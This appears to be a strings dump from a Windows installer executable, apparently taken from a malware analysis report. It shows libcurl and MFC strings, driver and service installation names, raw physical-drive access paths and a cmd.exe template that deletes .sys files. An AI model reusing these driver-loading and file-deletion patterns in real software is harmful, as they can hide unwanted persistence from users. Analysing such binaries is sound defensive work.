%s-%s-%s
%s-%s-%s
%s-%s-%s-%s
%s-%s-%s-%s
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
hhctrl.ocx
hhctrl.ocx
f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
CCmdTarget
CCmdTarget
CNotSupportedException
CNotSupportedException
f:\rtm\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\rtm\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
mscoree.dll
mscoree.dll
kernel32.dll
kernel32.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
KERNEL32.DLL
KERNEL32.DLL
portuguese-brazilian
portuguese-brazilian
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
.jpeg
.jpeg
.html
.html
--%s--
--%s--
couldn't open file "%s"
couldn't open file "%s"
Content-Type: %s
Content-Type: %s
; filename="%s"
; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Type: multipart/mixed, boundary=%s
Content-Type: multipart/mixed, boundary=%s
%s; boundary=%s
%s; boundary=%s
Could not resolve %s: %s; %s
Could not resolve %s: %s; %s
getaddrinfo() failed for %s:%d; %s
getaddrinfo() failed for %s:%d; %s
init_resolve_thread() failed for %s; %s
init_resolve_thread() failed for %s; %s
%s:%d
%s:%d
About to connect() to %s%s port %ld (#%ld)
About to connect() to %s%s port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
IDN support not present, can't parse Unicode domains
IDN support not present, can't parse Unicode domains
Protocol %s not supported or disabled in libcurl
Protocol %s not supported or disabled in libcurl
malformed
malformed
:]://%[^
:]://%[^
[^:]:%[^
[^:]:%[^
http_proxy
http_proxy
%5[^:@]:%5[^@]
%5[^:@]:%5[^@]
:%5[^@]
:%5[^@]
Port number too large: %lu
Port number too large: %lu
%s://%s%s%s:%hu%s%s%s
%s://%s%s%s:%hu%s%s%s
;type=%c
;type=%c
[%*45[0123456789abcdefABCDEF:.]%c
[%*45[0123456789abcdefABCDEF:.]%c
Couldn't find host %s in the _netrc file; using defaults
Couldn't find host %s in the _netrc file; using defaults
PTF@example.com
PTF@example.com
Couldn't resolve host '%s'
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
Couldn't resolve proxy '%s'
User-Agent: %s
User-Agent: %s
Re-using existing connection! (#%ld) with host %s
Re-using existing connection! (#%ld) with host %s
%s://%s
%s://%s
Connection #%ld to host %s left intact
Connection #%ld to host %s left intact
operation aborted by callback
operation aborted by callback
ioctl callback returned error %d
ioctl callback returned error %d
the ioctl callback returned %d
the ioctl callback returned %d
seek callback returned error %d
seek callback returned error %d
Problem (%d) in the Chunked-Encoded data
Problem (%d) in the Chunked-Encoded data
HTTP server doesn't seem to support byte ranges. Cannot resume.
HTTP server doesn't seem to support byte ranges. Cannot resume.
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Added %s:%d:%s to DNS cache
Added %s:%d:%s to DNS cache
Resolve %s found illegal!
Resolve %s found illegal!
%5[^:]:%d:%5s
%5[^:]:%d:%5s
No URL set!
No URL set!
[^?&/:]://%c
[^?&/:]://%c
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Disables POST, goes with %s
Disables POST, goes with %s
Issue another request to this URL: '%s'
Issue another request to this URL: '%s'
unspecified error %d
unspecified error %d
%s cookie %s="%s" for domain %s, path %s, expire %lld
%s cookie %s="%s" for domain %s, path %s, expire %lld
#HttpOnly_
#HttpOnly_
skipped cookie with bad tailmatch domain: %s
skipped cookie with bad tailmatch domain: %s
skipped cookie with illegal dotcount domain: %s
skipped cookie with illegal dotcount domain: %s
httponly
httponly
23[^;
23[^;
=]=I99[^;
=]=I99[^;
%s%s%s
%s%s%s
# Fatal libcurl error
# Fatal libcurl error
# Netscape HTTP Cookie File
# Netscape HTTP Cookie File
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.
# This file was generated by libcurl! Edit at your own risk.
WARNING: failed to save cookies in %s
WARNING: failed to save cookies in %s
[%s %s %s]
[%s %s %s]
Send failure: %s
Send failure: %s
Recv failure: %s
Recv failure: %s
bind failed with errno %d: %s
bind failed with errno %d: %s
Local port: %hu
Local port: %hu
getsockname() failed with errno %d: %s
getsockname() failed with errno %d: %s
Bind to local port %hu failed, trying next
Bind to local port %hu failed, trying next
Couldn't bind to '%s'
Couldn't bind to '%s'
Name '%s' family %i resolved to '%s' family %i
Name '%s' family %i resolved to '%s' family %i
Local Interface %s is ip %s using address family %i
Local Interface %s is ip %s using address family %i
ssloc inet_ntop() failed with errno %d: %s
ssloc inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
getpeername() failed with errno %d: %s
getpeername() failed with errno %d: %s
TCP_NODELAY set
TCP_NODELAY set
Could not set TCP_NODELAY: %s
Could not set TCP_NODELAY: %s
Failed to connect to %s: %s
Failed to connect to %s: %s
Trying %s...
Trying %s...
sa_addr inet_ntop() failed with errno %d: %s
sa_addr inet_ntop() failed with errno %d: %s
Unable to parse FTP file list
Unable to parse FTP file list
Error in the SSH layer
Error in the SSH layer
Caller must register CURLOPT_CONV_ callback options
Caller must register CURLOPT_CONV_ callback options
TFTP: No such user
TFTP: No such user
TFTP: Unknown transfer ID
TFTP: Unknown transfer ID
TFTP: Illegal operation
TFTP: Illegal operation
TFTP: Access Violation
TFTP: Access Violation
TFTP: File Not Found
TFTP: File Not Found
Login denied
Login denied
Issuer check against peer certificate failed
Issuer check against peer certificate failed
Invalid LDAP URL
Invalid LDAP URL
Unrecognized or bad HTTP Content or Transfer-Encoding
Unrecognized or bad HTTP Content or Transfer-Encoding
Problem with the SSL CA cert (path? access rights?)
Problem with the SSL CA cert (path? access rights?)
Peer certificate cannot be authenticated with given CA certificates
Peer certificate cannot be authenticated with given CA certificates
Problem with the local SSL certificate
Problem with the local SSL certificate
SSL peer certificate or SSH remote key was not OK
SSL peer certificate or SSH remote key was not OK
An unknown option was passed in to libcurl
An unknown option was passed in to libcurl
A libcurl function was given a bad argument
A libcurl function was given a bad argument
Operation was aborted by an application callback
Operation was aborted by an application callback
FTP: command REST failed
FTP: command REST failed
FTP: command PORT failed
FTP: command PORT failed
HTTP response code said error
HTTP response code said error
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't set file type
FTP: couldn't set file type
FTP: can't figure out the host in the PASV response
FTP: can't figure out the host in the PASV response
FTP: unknown 227 response format
FTP: unknown 227 response format
FTP: unknown PASV reply
FTP: unknown PASV reply
FTP: unknown PASS reply
FTP: unknown PASS reply
FTP: The server did not accept the PRET command.
FTP: The server did not accept the PRET command.
FTP: weird server reply
FTP: weird server reply
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
URL using bad/illegal format or missing URL
URL using bad/illegal format or missing URL
Unsupported protocol
Unsupported protocol
Winsock version not supported
Winsock version not supported
Protocol family not supported
Protocol family not supported
Address family not supported
Address family not supported
Operation not supported
Operation not supported
Socket is unsupported
Socket is unsupported
Protocol is unsupported
Protocol is unsupported
Protocol option is unsupported
Protocol option is unsupported
Unknown error %d (%#x)
Unknown error %d (%#x)
Internal error removing splay node = %d
Internal error removing splay node = %d
Internal error clearing splay node = %d
Internal error clearing splay node = %d
%d.%d.%d.%d
%d.%d.%d.%d
%s%s%s%s%s%s
%s%s%s%s%s%s
Session: %s
Session: %s
%s %s RTSP/1.0
%s %s RTSP/1.0
Range: %s
Range: %s
Referer: %s
Referer: %s
Accept-Encoding: %s
Accept-Encoding: %s
Refusing to issue an RTSP SETUP without a Transport: header.
Refusing to issue an RTSP SETUP without a Transport: header.
Transport: %s
Transport: %s
Transport:
Transport:
Refusing to issue an RTSP request [%s] without a session ID.
Refusing to issue an RTSP request [%s] without a session ID.
Got RTSP Session ID Line [%s], but wanted ID [%s]
Got RTSP Session ID Line [%s], but wanted ID [%s]
Unable to read the CSeq header: [%s]
Unable to read the CSeq header: [%s]
SMTP
SMTP
LOGIN
LOGIN
EHLO %s
EHLO %s
HELO %s
HELO %s
AUTH %s
AUTH %s
No known auth mechanisms supported!
No known auth mechanisms supported!
AUTH %s %s
AUTH %s %s
Access denied: %d
Access denied: %d
%s xxxxxxxxxxxxxxxx
%s xxxxxxxxxxxxxxxx
Authentication failed: %d
Authentication failed: %d
MAIL FROM:%s SIZE=%s
MAIL FROM:%s SIZE=%s
MAIL FROM:%s
MAIL FROM:%s
RCPT TO:
RCPT TO:
RCPT TO:%s
RCPT TO:%s
SMTPS not supported!
SMTPS not supported!
STARTTLS denied. %c
STARTTLS denied. %c
Got unexpected smtp-server response: %d
Got unexpected smtp-server response: %d
USER %s
USER %s
PASS %s
PASS %s
Access denied. %c
Access denied. %c
Invalid message. %c
Invalid message. %c
RETR %s
RETR %s
LIST %s
LIST %s
POP3S not supported!
POP3S not supported!
%s LOGIN %s %s
%s LOGIN %s %s
%s SELECT %s
%s SELECT %s
%s FETCH 1 BODY[TEXT]
%s FETCH 1 BODY[TEXT]
%s LOGOUT
%s LOGOUT
IMAPS not supported!
IMAPS not supported!
%s STARTTLS
%s STARTTLS
TFTP
TFTP
set timeouts for state %d; Total %ld, retry %d maxtry %d
set timeouts for state %d; Total %ld, retry %d maxtry %d
invalid tsize -:%s:- value in OACK packet
invalid tsize -:%s:- value in OACK packet
%s (%ld)
%s (%ld)
blksize is smaller than min supported
blksize is smaller than min supported
%s (%d)
%s (%d)
blksize is larger than max supported
blksize is larger than max supported
%s (%d) %s (%d)
%s (%d) %s (%d)
got option=(%s) value=(%s)
got option=(%s) value=(%s)
tftp_rx: internal error
tftp_rx: internal error
Timeout waiting for block %d ACK. Retries = %d
Timeout waiting for block %d ACK. Retries = %d
Received unexpected DATA packet block %d, expecting block %d
Received unexpected DATA packet block %d, expecting block %d
tftp_tx: internal error, event: %i
tftp_tx: internal error, event: %i
tftp_tx: giving up waiting for block %d ack
tftp_tx: giving up waiting for block %d ack
Received ACK for block %d, expecting %d
Received ACK for block %d, expecting %d
bind() failed; %s
bind() failed; %s
tftp_send_first: internal error
tftp_send_first: internal error
%s%c%s%c
%s%c%s%c
TFTP finished
TFTP finished
TFTP response timeout
TFTP response timeout
Can't get the size of %s
Can't get the size of %s
Can't open %s for writing
Can't open %s for writing
Last-Modified: %s, d %s M d:d:d GMT
Last-Modified: %s, d %s M d:d:d GMT
Couldn't open file %s
Couldn't open file %s
There are more than %d entries
There are more than %d entries
LDAP remote: %s
LDAP remote: %s
LDAP local: ldap_simple_bind_s %s
LDAP local: ldap_simple_bind_s %s
LDAP local: Cannot connect to %s:%hu
LDAP local: Cannot connect to %s:%hu
LDAP local: trying to establish %s connection
LDAP local: trying to establish %s connection
LDAP local: %s
LDAP local: %s
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
CLIENT libcurl 7.23.1
CLIENT libcurl 7.23.1
MATCH %s %s %s
MATCH %s %s %s
DEFINE %s %s
DEFINE %s %s
insufficient winsock version to support telnet
insufficient winsock version to support telnet
WSAStartup failed (%d)
WSAStartup failed (%d)
%s %d %d
%s %d %d
%s %s %d
%s %s %d
%s %s %s
%s %s %s
%s IAC %d
%s IAC %d
%s IAC %s
%s IAC %s
Sending data failed (%d)
Sending data failed (%d)
%d (unknown)
%d (unknown)
%s (unsupported)
%s (unsupported)
%s IAC SB
%s IAC SB
Syntax error in telnet option: %s
Syntax error in telnet option: %s
Unknown telnet option %s
Unknown telnet option %s
7[^= ]%*[ =]%5s
7[^= ]%*[ =]%5s
USER,%s
USER,%s
%c%c%c%c%s%c%c
%c%c%c%c%s%c%c
%c%s%c%s
%c%s%c%s
7[^,],7s
7[^,],7s
%c%c%c%c
%c%c%c%c
FreeLibrary(wsock2) failed (%d)
FreeLibrary(wsock2) failed (%d)
WSACloseEvent failed (%d)
WSACloseEvent failed (%d)
WSAEnumNetworkEvents failed (%d)
WSAEnumNetworkEvents failed (%d)
WSACreateEvent failed (%d)
WSACreateEvent failed (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to load WS2_32.DLL (%d)
failed to load WS2_32.DLL (%d)
WS2_32.DLL
WS2_32.DLL
PORT
PORT
FTP response aborted due to select/poll error: %d
FTP response aborted due to select/poll error: %d
FTP response timeout
FTP response timeout
Failure sending PORT command: %s
Failure sending PORT command: %s
%s %s
%s %s
,%d,%d
,%d,%d
Failure sending EPRT command: %s
Failure sending EPRT command: %s
%s |%d|%s|%hu|
%s |%d|%s|%hu|
bind() failed, we ran out of ports!
bind() failed, we ran out of ports!
bind(port=%hu) failed: %s
bind(port=%hu) failed: %s
bind(port=%hu) on non-local address failed: %s
bind(port=%hu) on non-local address failed: %s
socket failure: %s
socket failure: %s
failed to resolve the address provided to PORT: %s
failed to resolve the address provided to PORT: %s
getsockname() failed: %s
getsockname() failed: %s
Connect data stream passively
Connect data stream passively
PRET RETR %s
PRET RETR %s
PRET STOR %s
PRET STOR %s
PRET %s
PRET %s
REST %d
REST %d
SIZE %s
SIZE %s
STOR %s
STOR %s
APPE %s
APPE %s
Failed to do PORT
Failed to do PORT
Got a d response code instead of the assumed 200
Got a d response code instead of the assumed 200
ftp server doesn't support SIZE
ftp server doesn't support SIZE
Failed FTP upload:
Failed FTP upload:
RETR response: d
RETR response: d
PBSZ %d
PBSZ %d
Access denied: d
Access denied: d
ACCT %s
ACCT %s
ACCT rejected by server: d
ACCT rejected by server: d
TYPE %c
TYPE %c
Connecting to %s (%s) port %d
Connecting to %s (%s) port %d
Failure sending QUIT command: %s
Failure sending QUIT command: %s
Uploading to a URL without a file name!
Uploading to a URL without a file name!
FTPS not supported!
FTPS not supported!
MDTM %s
MDTM %s
Bad PASV/EPSV response: d
Bad PASV/EPSV response: d
Can't resolve new host %s:%hu
Can't resolve new host %s:%hu
Can't resolve proxy host %s:%hu
Can't resolve proxy host %s:%hu
Skips %d.%d.%d.%d for data connection, uses %s instead
Skips %d.%d.%d.%d for data connection, uses %s instead
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
%c%c%c%u%c
%c%c%c%u%c
ddd d:d:d GMT
ddd d:d:d GMT
dddddd
dddddd
unsupported MDTM reply format
unsupported MDTM reply format
QUOT string not accepted: %s
QUOT string not accepted: %s
Wildcard - "%s" skipped by user
Wildcard - "%s" skipped by user
Wildcard - START of "%s"
Wildcard - START of "%s"
CWD %s
CWD %s
PRET command not accepted: d
PRET command not accepted: d
Failed to MKD dir: d
Failed to MKD dir: d
MKD %s
MKD %s
QUOT command failed with d
QUOT command failed with d
Entry path is '%s'
Entry path is '%s'
PROT %c
PROT %c
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
Got a d ftp-server response when 220 was expected
Got a d ftp-server response when 220 was expected
server did not report OK, got %d
server did not report OK, got %d
Failure sending ABOR command: %s
Failure sending ABOR command: %s
Remembering we are in dir "%s"
Remembering we are in dir "%s"
%sAuthorization: Basic %s
%sAuthorization: Basic %s
%s:%s
%s:%s
%s auth using %s with user '%s'
%s auth using %s with user '%s'
HTTP/
HTTP/
Avoided giant realloc for header (max is %d)!
Avoided giant realloc for header (max is %d)!
The requested URL returned error: %d
The requested URL returned error: %d
If-Unmodified-Since: %s
If-Unmodified-Since: %s
Last-Modified: %s
Last-Modified: %s
If-Modified-Since: %s
If-Modified-Since: %s
%s, d %s M d:d:d GMT
%s, d %s M d:d:d GMT
Failed sending HTTP POST request
Failed sending HTTP POST request
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Internal HTTP POST error!
Internal HTTP POST error!
Failed sending HTTP request
Failed sending HTTP request
%s%s=%s
%s%s=%s
%s HTTP/%s
%s HTTP/%s
%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s
PTF://%s:%s@%s
PTF://%s:%s@%s
Content-Range: bytes %s/%lld
Content-Range: bytes %s/%lld
Content-Range: bytes %s%lld/%lld
Content-Range: bytes %s%lld/%lld
Range: bytes=%s
Range: bytes=%s
PTF://
PTF://
Host: %s%s%s:%hu
Host: %s%s%s:%hu
Host: %s%s%s
Host: %s%s%s
Chunky upload is not supported by HTTP 1.0
Chunky upload is not supported by HTTP 1.0
HTTP error before end of send, stop sending
HTTP error before end of send, stop sending
HTTP/1.0 connection set to keep alive!
HTTP/1.0 connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.1 proxy connection set close!
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.0 proxy connection set to keep alive!
HTTP 1.0, assume close after body
HTTP 1.0, assume close after body
RTSP/%d.%d =
RTSP/%d.%d =
HTTP =
HTTP =
HTTP/%d.%d =
HTTP/%d.%d =
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
SOCKS4%s request granted.
SOCKS4%s request granted.
Failed to resolve "%s" for SOCKS4 connect.
Failed to resolve "%s" for SOCKS4 connect.
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
SOCKS5 GSSAPI per-message authentication is not supported.
SOCKS5 GSSAPI per-message authentication is not supported.
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Failed to resolve "%s" for SOCKS5 connect.
Failed to resolve "%s" for SOCKS5 connect.
User was rejected by the SOCKS5 server (%d %d).
User was rejected by the SOCKS5 server (%d %d).
--:--:--
--:--:--
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
@password
@password
login
login
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
%s, algorithm="%s"
%s, algorithm="%s"
%s, opaque="%s"
%s, opaque="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%s:%s:x:%s:%s:%s
%s:%s:x:%s:%s:%s
%s:%.*s
%s:%.*s
%s:%s:%s
%s:%s:%s
d:d
d:d
d:d:d
d:d:d
%c%c==
%c%c==
%c%c%c=
%c%c%c=
Received HTTP code %d from proxy after CONNECT
Received HTTP code %d from proxy after CONNECT
HTTP/1.%d %d
HTTP/1.%d %d
CONNECT %s:%hu HTTP/%s
CONNECT %s:%hu HTTP/%s
%s%s%s%s
%s%s%s%s
Host: %s
Host: %s
%s:%hu
%s:%hu
Establish HTTP proxy tunnel to %s:%hu
Establish HTTP proxy tunnel to %s:%hu
0123456789-
0123456789-
OLEACC.dll
OLEACC.dll
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
g:\Company\PCProject\7654\Temp\pdb\Tool.pdb
g:\Company\PCProject\7654\Temp\pdb\Tool.pdb
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExW
SetWindowsHookExW
CreateDialogIndirectParamW
CreateDialogIndirectParamW
USER32.dll
USER32.dll
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GDI32.dll
GDI32.dll
comdlg32.dll
comdlg32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegOpenKeyExW
RegOpenKeyExW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegEnumKeyExW
RegEnumKeyExW
RegOpenKeyW
RegOpenKeyW
RegEnumKeyW
RegEnumKeyW
RegDeleteKeyW
RegDeleteKeyW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
SHLWAPI.dll
SHLWAPI.dll
oledlg.dll
oledlg.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
WLDAP32.dll
WLDAP32.dll
iphlpapi.dll
iphlpapi.dll
WS2_32.dll
WS2_32.dll
PeekNamedPipe
PeekNamedPipe
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCStartServiceCmd@@
.?AVCStartServiceCmd@@
.?AVCInstallServiceCmd@@
.?AVCInstallServiceCmd@@
.?AVCUninstallServiceCmd@@
.?AVCUninstallServiceCmd@@
.?AVCNullCmd@@
.?AVCNullCmd@@
.?AVCHttpPageRequest@@
.?AVCHttpPageRequest@@
.?AVCHttpPageResponse@@
.?AVCHttpPageResponse@@
.?AVCHttpPageClient@@
.?AVCHttpPageClient@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.PAVCUserException@@
.PAVCUserException@@
.PAVCException@@
.PAVCException@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
zcÁ
zcÁ
version="1.0.0.0"
version="1.0.0.0"
name="Microsoft.Windows.Tool"
name="Microsoft.Windows.Tool"
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
r%s%s.dmp
r%s%s.dmp
DBGHELP.DLL
DBGHELP.DLL
gadvapi32.dll
gadvapi32.dll
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
Run:%s|%d
Run:%s|%d
%s.bak%d
%s.bak%d
7654Bao.sys
7654Bao.sys
%s service
%s service
cmd.exe
cmd.exe
/c del %s%s*.sys /q && del %s%s*.sys /q
/c del %s%s*.sys /q && del %s%s*.sys /q
\\.\%s
\\.\%s
7654Bao64.sys
7654Bao64.sys
7654Bao32.sys
7654Bao32.sys
service.exe
service.exe
@XX
@XX
wnsoft.ini
wnsoft.ini
\\.\Smartvsd
\\.\Smartvsd
\\.\PhysicalDrive%d
\\.\PhysicalDrive%d
%slog.txt
%slog.txt
%sxxxx.log
%sxxxx.log
@MSWHEEL_ROLLMSG
@MSWHEEL_ROLLMSG
@comctl32.dll
@comctl32.dll
@comdlg32.dll
@comdlg32.dll
accKeyboardShortcut
accKeyboardShortcut
%s (%s:%d)
%s (%s:%d)
commctrl_DragListMsg
commctrl_DragListMsg
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
ntdll.dll
%s.dll
%s.dll
mfcm80u.dll
mfcm80u.dll
@.INI
@.INI
user32.dll
user32.dll
%Documents and Settings%\All Users\Application Data\7654\service.exe
%Documents and Settings%\All Users\Application Data\7654\service.exe
1, 0, 1, 0
1, 0, 1, 0
All Files (*.*)
All Files (*.*)
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
#Unable to load mail system support.
#Unable to load mail system support.
setup_7654_29738.exe_228:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
L$.UQf
L$.UQf
j.ht{E
j.ht{E
aSSSh
aSSSh
.VVVVVSRSSj
.VVVVVSRSSj
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOI
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOI
